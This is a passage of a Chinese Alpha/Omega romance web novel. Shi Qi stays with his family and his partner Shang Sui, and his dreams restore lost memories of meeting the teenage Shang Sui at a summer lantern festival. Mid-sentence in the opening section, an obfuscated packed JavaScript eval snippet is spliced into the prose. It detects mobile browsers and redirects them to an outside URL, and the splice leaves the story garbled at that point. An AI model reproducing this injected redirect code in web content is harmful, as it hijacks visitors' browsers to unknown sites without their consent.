她吐槽道:“我上一次假装巧合住在别人旁边,还是我给黎昭当舔狗的时候。” 姜礼帮着说了一句:“我也觉得小商不错。” 时安看着家里两个Alpha,不置可否地问:“才刚见面你们就觉得人家好?” 姜宥宁心说我又不是第一次见,我还和他喝过酒呢,但她不敢和时安争论,找了个借口溜走。 时绮一路拉着商随到楼上,等关上门,他扭头说:“小安爸爸肯定要问东问西的,他等这一天很久了,你一个人招架不住。” “但我好困,我也招架不住,等我睡醒再去和他对线。” 说到后面,时绮不由自主打了个哈欠。 商随弯起眼睛:“小绮要保护我吗?” “对,所以你要给我报酬。” 不等商随接话,时绮轻声要求:“亲我。” 商随的眼神微微暗下,低头向他靠近。 时绮贴着门板站住,属于另一个人的呼吸同他纠缠在一起,Alpha垂下的长发摩挲过脸颊,带着令他魂牵梦绕的香味,心跳速度不知不觉加快。 气氛暧昧得像能拉丝,商随却迟迟没触碰他的唇瓣。 磨磨蹭蹭干嘛呢。 时绮忍不住拽住商随的T恤领口,主动亲上去。 时绮一直不太会接吻,大多数时候都是商随主动,拽过来之后,时绮催促性地舔舔他的唇瓣。 这种感觉就像被小猫舔舐。比起暧昧,更像单纯在表达好感。 商随眼里漾开丝丝笑意,神情愉悦:“小绮好粗鲁。” 不等时绮反驳,他挑开半张的唇缝,对着时绮的唇舌又舔又磨,真正诠释什么叫粗鲁。 时绮的体温一贯比他高,嘴里也不例外。 Omega湿热的口腔带着铃兰的香气,舌头软绵绵的,和时绮接吻的感受如同在汲取花蜜。 好些日子不见,商随恨不得把他揉进自己的身体里,亲着亲着,手上也不安分,撩开时绮单薄的卫衣下摆,露出一段白得晃眼的肌肤。 时绮腰腹这一截分外敏感,平时林言闹着戳两下都会条件反射抖一抖,偏偏商随的指尖扫过他紧致的人鱼线,而后向中间滑。 那里有Omega最娇嫩的生殖腔,和腺体一样,都是信息素的开关。 稍微触碰,浑身便会有过电一般的感受。 时绮呼吸加重,唇舌却被紧紧吮吸。 双重攻势下,明明是时绮先讨吻,但他很快发出受不了的哼声,呼吸也混乱不堪。 接吻的间隙,时绮边喘边说:“慢一点……” 他大概被亲得昏了头,讨饶的时候,手臂无意识缠住商随的肩膀,像在鼓励Alpha对他做更过分的事。 商随被他撩拨得有些上火,手掌向下,不轻不重拍了把他的屁股。 时绮耳根一热,曾经难以启齿的冲动又一次浮上心头。 被拍打过的地方酥酥麻麻,时绮不由得绷紧腿,小声道:“你再拍一下。” 商随惊讶片刻,问他:“你还真是猫?喜欢被拍尾巴根。” 时绮的双臂默不作声缠紧商随的肩膀。 他一言不发,肢体行动却黏人得要命。商随先是沉默,而后开始笑,直到时绮都有些懊恼。 商随亲了一口他被吮红的唇瓣,用格外温柔的声音说:“亲爱的,你怎么这么招人喜欢?” 商随大多数时间都叫他宝宝或者宝贝,上一次听见这个称呼,还是对方易感期的时候。 如同某种暧昧的条件反射,时绮的耳根开始发热。 商随手掌下移,正要顺从要求拍他的“尾巴根”。 门外倏忽传来动静—— “宝宝,”时安轻轻敲门,隔着门板问,“你们睡了吗?我送水果。” 商随原本揽着他的腰,闻言忽然顿住。 猝不及防听见时安的声音,时绮有种做坏事被长辈逮住的紧张,慌乱中胳膊不小心撞上门板。 两人都是一愣。 这下想装睡都没办法,时绮给商随使了个眼色,示意他赶紧放开自己。 听见里面的一阵阵动静,时安挑挑眉。 门拉开后,时绮嘴唇略微发肿,佯装平静看向他。 时绮扫了一眼时安手上的果盘,里面放着草莓、蓝莓,切好的橙子和菠萝。都是他喜欢吃的种类。 似乎怕他们口渴,时安还带了两杯冰水。 “谢谢小安爸爸,您把盘子给我吧。” 每当心虚的时候,时绮就是这副若无其事的表情。 时安往里看了看,另一个人更是直接藏起来不见人影。 时安冷不丁问:“我看你好像不是很困啊?” “……” 见时绮衣服都被扯乱,不知道被摸过哪里,时安特意提醒:“别闹太久,一会儿还要出门。” 时绮低低地答应。 门关上后,时安轻哼一声,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483763|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我就知道你俩不会单纯睡觉。 但是……两个人感情好像真的挺好? 黏黏糊糊的。 商随原本藏在门后,等时安走后无声无息凑到时绮旁边:“怎么办,我还能进你家门吗?” “能,”在这方面时安还是很讲道理,时绮说,“是我拽你上来的,他不会跟你计较。” 商随盯着他看了半晌,把话题拉回来:“那还要不要拍屁股?” 时绮从刚才那阵意乱情迷的冲动中回过神,开始觉得自己提出的要求有几分羞耻:“不要。” 他特意补充:“我也不是很喜欢,刚才说着玩儿的。” 须臾过后,时绮又假装不经意道:“但你可以像刚才那么叫我。” 商随故意问:“刚才什么样?” “就……亲爱的。” 见商随又笑起来,时绮啧了一声,不去思考这人脑子里装的什么东西。 时绮把果盘放到一旁,命令道:“不准笑了,过来陪我睡觉。” 临时闹这么一出,时绮上床后打了个哈欠,再次感到一阵倦意。 他昨晚都没睡好,今天只在飞机上短暂补过觉,和商随躺在一起,时绮嗅到淡淡的信息素香气,身体很快放松下来。 时绮习惯性钻进他怀里,商随主动环住他的腰,像是知道时绮喜欢什么,慢慢抚摸他的脊背。 好舒服。 一段时间不见,怎么感觉被商随触碰更舒服了。 …… 在轻柔的抚摸中,时绮不知不觉闭上眼,呼吸变得均匀绵长。 他平日里鲜少做梦,不知道是不是因为沈千俞给的药物,时绮又一次坠入五彩斑斓的梦境。 这一次出现的不再是那栋被无尽夏包围的房子,朦胧之中,他隐隐约约听见时安和姜礼说话的声音。 梦里的他似乎有些焦躁,一直等待着什么,时绮拉开卧室门,轻手轻脚朝楼下看。 祁江一年有两大传统节日,花朝节在冬季举办,与此对应的则是盛夏夜晚的千灯节,从上周末起,每家每户门口都挂着造型各异的花灯。 时安很喜欢各式各样的节日,即使他们只是游客,也在别墅门口挂了一盏五光十色的锦鲤灯。 姜礼和时安磨磨蹭蹭,一直没离开。他俩原本问过时绮要不要和他们一起过节,但被时绮以早睡为由拒绝。 姜宥宁倒是和黎昭约好在千灯节上见,她出门前兴致勃勃宣布:“今晚过后,黎昭就是你真正的嫂子了。” “原来你们还没谈上,”时绮抓住重点,“那你为什么叫小黎姐姐女朋友?” “怕你不适应,我提前预演一下。” 姜宥宁理直气壮说完,多问了一句:“你今晚为什么睡这么早?大过节的,你都不想参与一下吗?” 时绮不说话,姜宥宁也没再追问。 她心情实在好,揉了一把弟弟的头:“听说庙会上有很多摊位,等我给你买好吃的回来。” 时绮心说我可以自己买。 因为他也要跟人见面。 和还没分化的时绮不同,姜宥宁快要成年,时安对她谈恋爱睁一只眼闭一只眼。 但如果时绮说自己想和一个Alpha单独出门,时安肯定会逮着他问东问西,最后演变成大家一起出行。 半天等不到时安和姜礼离开,两人貌似还去厨房亲嘴了,时绮无言片刻,开始感到一阵心急。 他的手机闪了闪,收到一条新消息。 [出门了吗?] 时绮回复:[我出不来,爸爸们一直不走。] 那边没再给他发消息。 一想到对方瞒着三名看守跑出来,想必很不容易,时绮正在思考怎么才能溜出去,手机再次亮起。 [你回房间。] [来窗子边,往下看。] 时绮依言照做。 大片大片的月季在夏夜盛开。时安之所以挑中这套房子,就是因为这片娇艳欲滴的龙沙宝石。 Alpha站在花团锦簇的庭院里,正抬头看他。 时绮惊讶地睁大眼睛。 不知道对方用了什么办法,一路翻墙进来悄无声息,连隔壁那条对风吹草动十分敏感的边牧都没能捕捉到他的动静。 又一条消息弹出来: [往下跳,我接住你。] 时绮推开窗户,带着花香味的夜风吹过脸庞,Alpha先一步张开双臂,示意他往自己怀里跳。 他没怀疑Alpha能不能做到,比了个“稍等我一下!”的手势,而后关掉卧室的灯光,假装自己已经入睡。 做完这一切,时绮轻巧地跨上飘窗。 月光从窗口倾斜而下,心脏怦怦直跳,像要参与一场冒险,近乎迫不及待。 他的膝盖压在飘窗上,正要站起来往下跳。 一只骨节修长的手自黑暗中悄无声息探出,像是抓住妄想逃跑的猎物,一把扣住时绮的肩膀! 不等时绮反应过来,对方就着这个姿势,将他径直拖进自己怀里。 时绮还以为自己偷偷出行被发现,慌乱中来不及回头:“爸爸!我就是想看一下楼下的花……!” “爸爸?” 那人轻笑一声:“我比较喜欢听你叫别的。” 商随居高临下注视楼下的Alpha,对方从他抓住时绮那一刹就变了脸色,阴沉沉盯着他看。 月光落在两张相似的脸上,商随收回目光,看向愣住的时绮。 “我们宝宝急匆匆地去哪儿呢,”商随贴近时绮耳畔,“是要跟楼下那个阴暗的家伙私奔吗?” 54.愿望 流动的云层遮蔽月亮,令Alpha白皙的脸庞陷入阴影,投来的视线如同冰冷的薄刃。 身边的商随倒是挂着笑,但怎么看怎么不怀好意。 身处梦境之中,时绮的思维变得迟缓。 见他说不出话来,商随似乎更不高兴,掐了一把他的腰。 “小绮?” 商随的声音阴恻恻的,满脸写着“快给我一个解释。” 时绮毫无头绪,索性顺应直觉。 身边这个不用说,即使是楼下少年模样的商随,似乎也是他熟悉的人。 时绮抓住他:“一起吧。” 商随:“?” 时绮给楼下的Alpha发消息。 [你也接一下他,可以吗?] 对方很快回复:[不可能,让他滚。] 怕时绮误会,Alpha特意补充:[语气不好不是针对你。] “哇,这人素质好差。” 商随凑过来看了一眼手机,嫌弃地说:“巧了,我也不想被他碰,我怕自己被传染。” “……” 商随语气轻快:“所以还是我带你下去吧,公主殿下。” 他说完收紧手臂,将时绮揽进自己怀里。 窗外的夜风从耳畔吹拂,不等时绮反应过来,对方踏上窗沿,直接从别墅三楼跳下。 即使抱着他,商随落地时声音极轻,仿佛某种无声无息、行动矫捷的兽类。 他看向几步之遥同自己容貌相似的Alpha,十分勉强道:“小绮说要一起过节,只能跟你凑合凑合了。” 比起商随,Alpha要冷淡许多。 他没有回应,而是看了时绮一眼:“走吧。” 离开庭院需要翻墙,Alpha稍微迟疑,朝时绮伸出手。 时绮隐隐约约感觉商随正盯着自己,如果他把手搭上去,想必商随能闹得天翻地覆。 时安和姜礼还在。这两人要是打起来,今天都别想走了。 时绮果断道:“我自己来。” 翻墙而已,对他来说算得上家常便饭。 他轻手轻脚翻上去,想到什么,特意站在墙上看了一眼隔壁。 陨石边牧缩在树下瑟瑟发抖,一声不吭,以往见到人,它都会撒欢似的扑过来。 今天怎么被吓成这样。 像看出时绮在想什么,路上Alpha低声解释:“我只看了它一眼,没做别的。” 他一边说,一边牵住时绮的手:“庙会上人很多,怕你走丢。” 话音刚落,时绮另一只手就被另一个人握住。商随自然而然地说:“我怕我走丢。” Alpha忍无可忍:“你有病?你能不能看看自己多大一个?” 商随:“你没病?你要不回去照照镜子,嫉妒心都快溢出来了,没看见狗都被你吓得不轻?” 时绮被夹在中间,左右两个人隔着他相互对视,两双狐狸似的眼睛流露出腾腾杀气,像恨不得把另一个自己干掉。 时绮一瞬间想说要不你俩手牵手算了,挺配的。 “所以,”时绮忽然问,“我是在梦里吗?” 没有人回答。 时绮自顾自道:“我为什么会做这么奇怪的梦?” “你猜猜看,”商随玩笑似的说,“可能因为梦里也很想我吧。” “……”Alpha嗤声,“真会往自己脸上贴金。” 一路吵吵闹闹到了庙会,远处的湖岸漂浮着千万盏花灯,连绵而成的光辉此起彼伏,仿佛一条条鳞片闪闪的游龙。 千百年来,祁江人在花灯上写下心愿,待一盏盏花灯顺湖面飘远,象征愿望抵达神明的耳畔。 “对了,你是怎么溜出来的?”时绮还记得Alpha家里有三个看守,“是用了我教你的办法?” 他先前观察过他们,三名看守有各自的习惯,会在不同时间溜号。 Alpha迟疑片刻:“嗯,很管用。” 商随却在旁边莫名其笑了一声。 听见自己帮到了他,时绮微微弯起眼:“你还没告诉我,你为什么会被关在那儿?” Alpha没有回答,而是提议:“去放花灯?” 时绮点点头。 他们买了两盏方形灯,老板是个年轻女孩。见他们三个人一直手拉手,其中两个容貌极为相似,笑着问了一句:“是和哥哥们出来玩儿吗?感情真好。” 她边说边看向中间的时绮。 与另外两个的Alpha不同,他的容貌和气质格外干净。水汪汪的眼睛微微上挑,比一盏盏璀璨妍丽的花灯还引人瞩目。 时绮正要说话。 “不是呢,是和我男朋友。”商随幽幽地说,“旁边那个是不知道从哪儿冒出来的阴暗逼。” 男朋友? 被商随话里的某个关键词触动,Alpha看向时绮。 真要说来,时绮现在的年纪比他大一点,但Omega整体相较于Alpha更为纤细,个子也矮一些,即使是少年时的商随,也能很轻易抱起他。 Alpha握紧时绮的手,又看向未来的自己,对老板说:“他脑子不太正常,不好意思。” 老板犹豫地说:“但你们不是长得一样……?” 两人十分有默契地对视一眼,双双作呕。 即使到了这个地步,他们都紧紧抓住时绮的手,像是死都不愿分开。 场面越发诡异,老板终于忍不住,看向被争夺的对象:“那个,你需要帮助吗?” 她凑近时绮小声说:“千灯节的巡逻队就在旁边!可以帮忙报警!” 越来越多的人聚集在一起,都看向他们。 “你们,”时绮语气不善,“闹够了没?” 左右两方拉扯的力道同时停下,而后松开。 两张相差无几的脸同时看向他,一前一后道: “我错了。” “对不起。” 或许因为本质上是一个人,他们的神情格外相似,都微微垂着眼,看起来十分乖巧。 如果忽略他俩还在偷偷互瞪的话。 “……”时绮没有办法:“我去写花灯。” 他走前特意道:“不要吵架。” 时绮走到附近的长桌上,拿起笔,一笔一划写下自己的愿望。 他能感觉到提笔时的心情格外认真,却看不见自己写了什么、许下什么样的心愿。 梦里他的意识时而清晰、时而模糊,一切犹如雾里看花,并不完全以他的意志为导向,仿佛既定的命运。 “写好了吗?” 商随和Alpha过来找他。 或许是因为刚才闹那一出,两人没再吵起来。商随手里空空如也,只有Alpha提了一盏花灯,看样子也写了什么。 他们来到湖边,放灯时Alpha蹲下来,时绮不知不觉看向他。 似是察觉到他的视线,Alpha侧眸看他,与成年后不同,他的容貌不像商随那么盛气凌人,显得更为内敛冷淡。 商随忽然问:“他这张讨厌的脸,你醒来后会记得吗?” 奇怪。 就算他和商随非常熟悉,但他从没见过对方十七八岁的模样、也没看过照片,为什么梦里的形象会如此鲜活? 见时绮不说话,Alpha微微抿唇。 仿佛看出另一个自己心情不佳,商随自顾自道:“还是不记得比较好吧?一张死人脸、性格也阴晴不定,稍不注意就会伤害你,一点儿都不讨人喜欢。” “不是,”时绮否认,“我没有这样想。” “看那边!” “要放烟花了——” 人群的动静盖过商随的声音,时绮心有所感,下意识上前一步。 “……这样啊。” 商随笑笑。 人们都聚集在湖边,等待湖心岛上的烟花降临。 时绮再回过头,发现自己身边只剩下一个人。 不知道从什么时候起,商随的身影消失不见,只剩他和Alpha。时绮慢半拍意识到什么,低头看向自己的手。 他的手臂变得更为纤细,身高也随之变化,视线里看见的所有景象都更为高大,而他则成为尚未分化的少年模样。 一切都自然而然,好似这场梦境本该如此。 沈千俞曾经说过,服药过程中会出现记忆想象杂糅的情况,原本不存在于记忆里的人也可能出现。 与此相应,他有可能遇见“记忆的向导”。 “向导”会以他熟悉的姿态出现,在不知不觉中引导他接近真实的记忆。 如果“商随”是记忆的向导,他的出现代表自己已经开始接近残缺的真相,那和“商随”容貌如出一辙、更为年轻的Alpha意味着……? 不等时绮考虑清楚,远处砰砰作响。 十点整,湖心岛开始燃放烟花。 层层叠叠的花朵在夜空盛放,水上的灯火如同烟花的倒影,天地界限流光溢彩,日月好似颠倒。 Alpha同他对视片刻,忽然问:“你许了什么愿望?” 随着商随的消失,梦境仿佛逐渐步上正轨,时绮终于能想起自己在花灯上写下什么。 “我希望……商随能过得轻松一些。” 时绮听见年少时的自己说。 Alpha,或者该说年少时的商随,神情意外看向他。 “你好像总是不开心,有很多秘密。”时绮注视他的眼睛,“但被关在房子里,就算是漂亮的房子,怎么想都很难开心,不知道能帮你做什么,就许愿希望你过得轻松……你呢?” “对不起,”商随低声道,“我骗了你。” “嗯?”时绮一愣。 “我不是被关在那里的,你以为的看守实际只是家里的保镖。” “我现在不太擅长和人打交道,很久没和陌生人接触过。” 心里有一个声音说,说出这种话只 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时绮思考许久,就在商随以为他会让自己离开的时候,时绮突然开始点餐:“我明天要吃熔岩巧克力、树莓冰淇淋、柠檬泡芙,还有苹果派。” 他接连报了一大堆甜品,意识到时绮在给自己台阶下,商随立即答应:“好。” 时绮见状,歪歪头看他:“我以前很讨厌Alpha。” 商随没能跟上他的节奏,重复道:“讨厌……?” 好好玩。 时绮想。 第一次见到这种表情,看起来好呆。 “有个认识的人分化成了Alpha。” 想到傅思越天天嚷嚷着让他分化成Omega,这样他俩就能在一起结婚,时绮恨不得一脚把他踹开。 还结婚。 自己跟自己过去吧,傻逼。 “Alpha都很自大、狂妄,好像总觉得自己高人一等,但我觉得你和他们不同。” 时绮双眼一闪一闪,他望向商随,甚至感觉对方比初见时那副孤零零的表象更有吸引力:“知道你是故意的,我好像很开心。” 见商随彻底呆住,他也开始不好意思,把话题拉回来:“那你的愿望是什么?” 商随慢半拍地说:“愿望已经实现了。” 他想起自己在花灯上忐忑地写下心愿,从那个相拥而眠的雷雨天后,他逐渐意识到自己并不想对时绮隐瞒。 他顺利留住经过窗台的天使,又贪心地奢求更多,希望对方能接受他真实的模样。 “希望今天坦白的时候,时绮不要生我的气。” …… 时绮微微动了动眼皮,逐渐从漫长的梦境中苏醒。 有人正轻轻抚摸他的脊背,即使入睡后,对方的动作也并未停下,想让他睡得更安稳。 他睁开眼,在昏暗的光线中对上一双熟悉的、狐狸似的眼睛。 就好像商随一直默不作声注视他,安静地陪伴他许久。 “睡醒了?”商随示意窗外,“你睡了好久,天都快黑了。” 房间内没有开灯,即将沉没的夕阳透过窗户,在商随脸上投落出一小片昏黄的影子。 时绮神情恍惚,迟迟不能从梦境中回过神来。 如果自己的猜测没错,他在潜意识里选择“商随”作为记忆的向导,对方以他熟悉的形象出现,不着痕迹引导他回忆起遗忘的过去。 而年少时的商随……则是他失去的记忆。 吵吵闹闹地和年少时的自己相互贬低、彼此看不顺眼,也很符合他印象里商随的性格。 不想给人压力,所以总是表现得轻描淡写,在玩笑中透露一部分真心。 他好像也听懂了梦里“商随”的未尽之言。 就算那时候的我一张死人脸、性格阴晴不定、一点儿都不讨人喜欢…… 可以不要忘记他,也不要忘记我吗? “为什么这样看着我,”商随见他像是很难过,往日明亮清透的眼睛蒙着一层雾,下意识问,“做噩梦了吗?” 时绮没有说话。 如果我真的遗忘了你,你是以什么心情和我再次重逢、从不表现出一丝一毫的异样? 在绘涧的庭院里,时隔六年第一次见面,你那时在想什么呢? 许久以后,时绮才低声回答:“不是噩梦。” 是命运一样的梦。 心绪起伏不定,他下意识往前,把头埋进商随的颈窝,嗅到令人安心的信息素气味。 因为这个黏人的小动作,商随抚摸他脊背的手指停住:“干嘛突然撒娇。” 他听见时绮闷闷的声音:“我真的很喜欢你。” “是因为之前那件事吗?”仗着时绮看不见,商随假装不为所动,“不行哦,小绮当时那么挑衅我,等到只有我们两个人,我不会放水的。” 片刻过后,他实在忍不住,笑着把时绮抱得更紧:“不过,我也一样。” 55.别离 想到商随曾经讲述的初遇,时绮迟来地意识到,那可能并不是故事,而是真正发生过的现实。 夏日、花海、放置画架的窗台,梦境中的一切都能与商随的讲述对上。 可商随为什么只轻描淡写作为故事谈起,从没正式提过这件事? 他在祁江被查出有腺体退化症,不知道自己曾经认识过一个Alpha。 根据梦里的回忆,他每次都是偷偷去找商随,时安他们不知情,不会想到和商随联系。 失忆之后,他丢了手机、换了号码,商随自然没法联系上他。 如果真是这样,商随会不会以为……自己不想再见到他了? 按照商随的性格,的确可能不再打扰他。 可梦里的他们似乎十分熟悉,如果只是暂时联系不上,商随会直接选择放弃吗? 姜宥宁在外面敲门:“小绮、商随,你们醒了吗,差不多可以出门吃饭了。” 时绮答应一声。 他脑子里装着许多疑问,商随的手机在这时亮起,时绮顺口问:“谁找你?” “沈千俞。”商随看了一眼消息,“他年休,也在祁江,问我什么时候有空见面。” 想到沈千俞和江砚的感情纠葛,商随补充道:“他以前基本不休假,这次大概憋得没办法,这才出来散散心。” 先前在宁山医院,时绮被沈千俞点明腺体退化症导致失忆,都没来得及问问对方的感情状况,闻言感兴趣地凑过来:“他和江砚怎么样?” “似乎不太好。”商随示意他看江砚的朋友圈,“江砚已经从世界上消失了。” 江砚是爱玩的性格,朋友圈里经常更新各种照片:出海钓鱼、潜水、跳伞、赛车比赛、参加各式各样的聚会。 最近十多天,江砚的朋友圈跟死了一样安静。 时绮看了一眼日期,最后更新日期恰巧是沈千俞易感期前一天。 时绮发自内心道:“他还活着吗?” 商随:“应该吧,沈千俞犯罪会通知我。” 时绮:“……” 你们俩真是情同手足。 商随:“而且沈千俞很心软,比起求而不得同归于尽,江砚比较可能被他囚禁。” 时绮:“?” 你对心软是不是有什么误解? “如果真的出现这种情况,江砚想对付他也很容易,让家里施压就行。总体来说,可以归结为自愿。” 商随一脸淡然说出一连串离谱的话,时绮一不小心被他带跑偏,一瞬间觉得囚禁似乎也没什么大不了。 不过沈千俞倒是很有职业操守,商随到现在都不知道他有腺体退化症。 想到这个,时绮又一次在心里问:梦境中的一切会不会只是服药带来的幻想? 很快便有一个声音反驳,不会的。 那么真实的画面、鲜活的情感、心脏和烟花跳动的节拍合二为一,是幸福快乐到足以忘记所有烦恼的瞬间,并不像虚构的梦境。 他的服药期为一周,一个月左右就会完全恢复记忆。 不清楚最后究竟发生过什么,也不知道贸然提起会不会让商随难过,时绮暂时将这件事压在心里。 等他想起更多、更有头绪一些,再去和商随说吧。 一想到有可能分开六年,时绮心情复杂,下楼时先一步抓住商随的手。 商随以为时绮只是单纯想牵手,但很快的,他闻到铃兰清澈纯美的香气,仿佛一簇柔软的花枝缠绕上他的手腕。 通过肢体接触,时绮在他身上放了一点儿信息素。 商随明知故问道:“你偷偷干了什么?” “做个标记,”想到梦里的情况,时绮酷酷地说,“怕你走丢。” 标记了就是我的。 如果以前弄丢过一次,不会再丢第二次。 时安正好路过,听见时绮的话,露出难以形容的表情。 他鲜少听说Omega给Alpha做标记,偏偏商随配合道:“可以天天这样吗?你的信息素好香。” “看我心情。” 尽管时绮神色淡淡,凭时安对他的了解,实则十分受用。 他不由自主将视线落在商随身上,后者正朝时绮笑,又撒娇似的晃晃他们交握的手。 就是靠这点儿伎俩拿下时绮的? 真是…… 一路上时安忧心忡忡盯着时绮,姜宥宁终于忍不住:“您为什么一副看昏君的表情?” “我看你弟弟魂儿都快被勾跑了。”时安小声说,“他睡醒后一直盯着人家,好像没看够似的。” “这都谈了多久,怎么还那么喜欢。” 姜宥宁见怪不怪,反而有心思调侃:“那您说说,我们家的颜控遗传自谁?” “反正不是我,”时安沉默片刻,“心灵才是最重要的。” “是、是,您看上我爸只是因为他心灵美好,和他的一切外在条件毫无关系。” 时安瞪了她一眼,不说话了。 在时绮睡觉时,时安提前定好餐厅,从半封闭的包厢里能看见庭院内的小桥流水。 姜宥宁的视线扫过水上漂浮的花灯,忽然想起什么:“上一次来祁江,我的记忆好惨烈。” “我当时满怀希望跟黎昭告白,结果她说自己要出国,以后可能不回来、也没法和我保持联系。” “跟我见这一次就是要当面讲清楚,然后断个干净。” 姜礼插话道:“是千灯节的时候?” 时安也想起来:“宥宁那天哭了一路,回来眼睛都是肿的。” 时绮捕捉到关键词:“千灯节?” 即使先前大致有了判断,这一刻也有种“果真如此”的感受。 在今天之前,他并不知道祁江有千灯节,也不知道姜宥宁在节日当天约黎昭见面。 梦境与现实一一对应,时绮终于能确定,一切是真实发生过的记忆。 他下意识看向身边。 商随没有说话,微微垂着眼。 “你可能不记得了,毕竟……” 姜宥宁不动声色扫了商随一眼,不确定对方知不知道时绮有腺体退化症,索性没再讲下去。 她最终感慨:“上次来祁江真是有一堆麻烦。” 商随不动声色握紧筷子,内心千转百回。 姜宥宁说的麻烦,或许也有他的一份。 “不过,我就说别把话说太死嘛,”姜宥宁没察觉到商随的异常,话锋一转高兴道,“兜兜转转,黎昭三年后还是跟我在一起了。” “对了,黎昭师父的葬礼处理得差不多,她下周也会过来。” 姜宥宁提起黎昭能说个三天三夜,她从黎昭的近况说到她欣赏的画家,话题不知不觉来到商随身上。 时安逮着机会问:“你现在是在美院当助教?” 商随点点头:“等小绮毕业,应该就不会留在美院了。” 像知道时安在想什么,他补充道:“之后小绮想待在什么地方,我都可以。” 不用他问,商随已经摆出时绮去哪儿都跟随的态度,时安心里满意,顺口问了一句:“你也是在首都长大的?” “不,”商随说,“是海城。” 时安又陆陆续续问了许多问题,商随一一回答。 时绮时不时插一两句话,避免时安问得太过,在餐桌上直接把商随的特殊易感期问出来。 每当见势不妙,姜礼和姜宥宁便会从中调节,一顿饭算得上气氛融洽。 临别之前,时安拽了时绮一把:“你今晚跟我睡。” “?”时绮奇怪道,“我都多大了,还跟您睡。” 时安不说话,只盯着他俩看。 商随明白时安是不想他第一晚就拐跑时绮,适时插话道:“我父母过段时间也会来祁江度假,您看看要不要见一面?” 见时安点头,他答应一声,自然而然告别:“那我先走了。” 时绮顺势道:“我跟他一起。” 自从确定分别过六年,时绮心情复杂,记忆碎片时不时闪过脑海,看似美好的画面与分离的事实摆在一起,令他不想再和商随分开。 时安咳嗽一声。 时绮全当没听见,作势要去抓商随的手腕。 “小绮,”时安看着他这幅依依不舍的模样,微笑着强调,“爸爸今晚有话跟你说。” 时绮看看这个又看看那个,商随给他使了个眼色,示意他听时安的话。 傍晚醒来以后,时绮表现得格外黏人。 平日里时绮喜欢肢体接触、在家也爱和他待在一起,却也仅限只有他们两人的时候,有其他人在场,时绮大都表现得很矜持。 但现在……时绮就像忽然受了刺激。 商随心里奇怪,暂时没有头绪,只把这件事情记在心里。 时绮见时安态度坚决,只能松开手。 分开之前,他看向商随的眼睛:“拜拜,明天见。” 如果可以,梦里见。 “小绮。” 背后忽然传来一道声音,时绮转过头。 在最后一刻,商随不顾其他人的目光,主动上前一步,短暂而亲昵地在时绮脸上啄了一口。 旁边的姜宥宁哇哦一声,兴致勃勃:“这才对嘛!” 商随和时绮额头相抵,温柔地问:“为什么那么看我?” “……” 商随似乎也不需要一个确切的答案,往后退了一步,既像告别又像约定: “明天见。” - 回到租住的别墅,时绮脑海里充斥着告别时的景象。 他当时毫无防备,第一反应便是扭过头,所幸一旁的时安表情变了变,最后也没说什么。 他不由自主摸摸自己的脸颊。 脸上似乎还存留着柔软的触感,时绮微微弯起眼睛。 洗过澡后,时绮躺在床边,猜测时安会和他说什么。 他许久没和时安一起睡觉。刚查出腺体退化症时,他们倒是经常睡在一起。他从医院回来整晚睡不着,躺在时安身边会让他充满安全感,曾经短暂治愈过失眠。 等时安洗漱完来到床边,见他默不作声躺在一侧,有些好笑:“干嘛呢,躺那么远。” “你小时候入睡前,不都希望我摸摸你吗?” 时绮意外地问:“您怎么知道?” 他明明从没跟时安提过。 时安抬手关灯,在时绮旁边躺下:“我难道还不了解你?” 想到餐桌上时绮微妙的表情变化,时安在黑暗中问:“商随知道你有腺体退化症吗?” 见时绮一言不发,时安叹了口气:“为什么不说?” “我想找个合适的机会,不想突然告诉他。”时绮慢吞吞地说,“突然提到这个,像在逼他,也像在逼我自己。” 终生标记几乎和结婚划等号,在商随出现之前,他已经做好一个人过完一辈子的准备,没想过建立亲密关系、也没考虑结婚。 “逼他?”时安冷笑一声,“你自己没考虑好就算了,难道他还不想吗?便宜他还差不多。” “如果不是需要一个帮你治病的Alpha,他别想这么容易跟你结婚。” 时绮反驳:“商随也不差吧。” 本以为会遭到反对,不料时安一反常态道:“客观来说,确实很好。” 无论是从外在条件到性格、个人能力和家境……今晚接触下来,他确定商随各方面都称得上相当不错。 “但你和宥宁是我的宝贝,无论你们跟谁在一起,我都觉得是对方占了便宜。”想到姜宥宁提起黎昭双眼放光的模样,时安无言片刻,“姜宥宁就算了,我看她从十几岁开始就乐在其中,而且她是Alpha。” “没想到你谈起恋爱也是一个德行。” 说到这里,时安忍不住戳戳他的额头。 时绮的眼睛和时安长得最像,都是微微上挑的眼型、眼珠圆润而明亮。 双眼渐渐适应黑暗,意识到时安一直在看他,时绮犹豫片刻,慢慢靠近时安。 时安笑了笑,伸手将他抱进怀里。 当年查出腺体退化症,时绮还是比他矮一大截的少年,现在却和他差不多高。 “睡吧,小绮。” “你想顺其自然,我们就再等一等。” 想到入睡后有可能再次恢复记忆,时绮心怀期待,在时安怀里渐渐闭上眼。 如同应和他的期望,睡着后没多久,时绮眼前浮现出积蓄黑云的天空。 他对坠入记忆的梦境愈发娴熟,很快便意识到自己又一次回到六年前的夏天。 从他们家租住的房子进入山里有观光巴士,他在梦中一路注视窗外的景色,即使天色暗沉,心情也十分轻快。 他的手机在这时忽然响起。 “我刚才敲门一直没人答应,才发现你不在家,我问宥宁,她还以为你在房间里。”电话那头,更为年轻的时安匆匆道,“你去哪儿了?一会儿要下雷阵雨。” 时绮没想到时安和姜礼提前回家:“我去见朋友。” 时安惊讶地问:“你有朋友在祁江?以前怎么没听你提过。” 傅思越他们一家倒是在祁江度假,一直很想见时绮,但时绮压根懒得搭理对方,只在家庭聚会时见过一面。 “以后再跟您说。” 想着他大概在祁江认识了新朋友,尽管不太放心,时安还是道:“那你多久回家?” 时绮出门前看过天气预报,今晚有雷阵雨。 商随不喜欢雷雨天,原本想着时安和姜礼不在,姜宥宁那边可以让她帮忙打个掩护,他偷偷跑出去陪商随过夜,现在看来只能老老实实回去。 时绮有些失落,为了不让时安担心,报了个对方能接受的时间:“晚饭的时候。” 时安果然放下心来:“玩开心,小绮。” “不要淋雨,早点回家。” 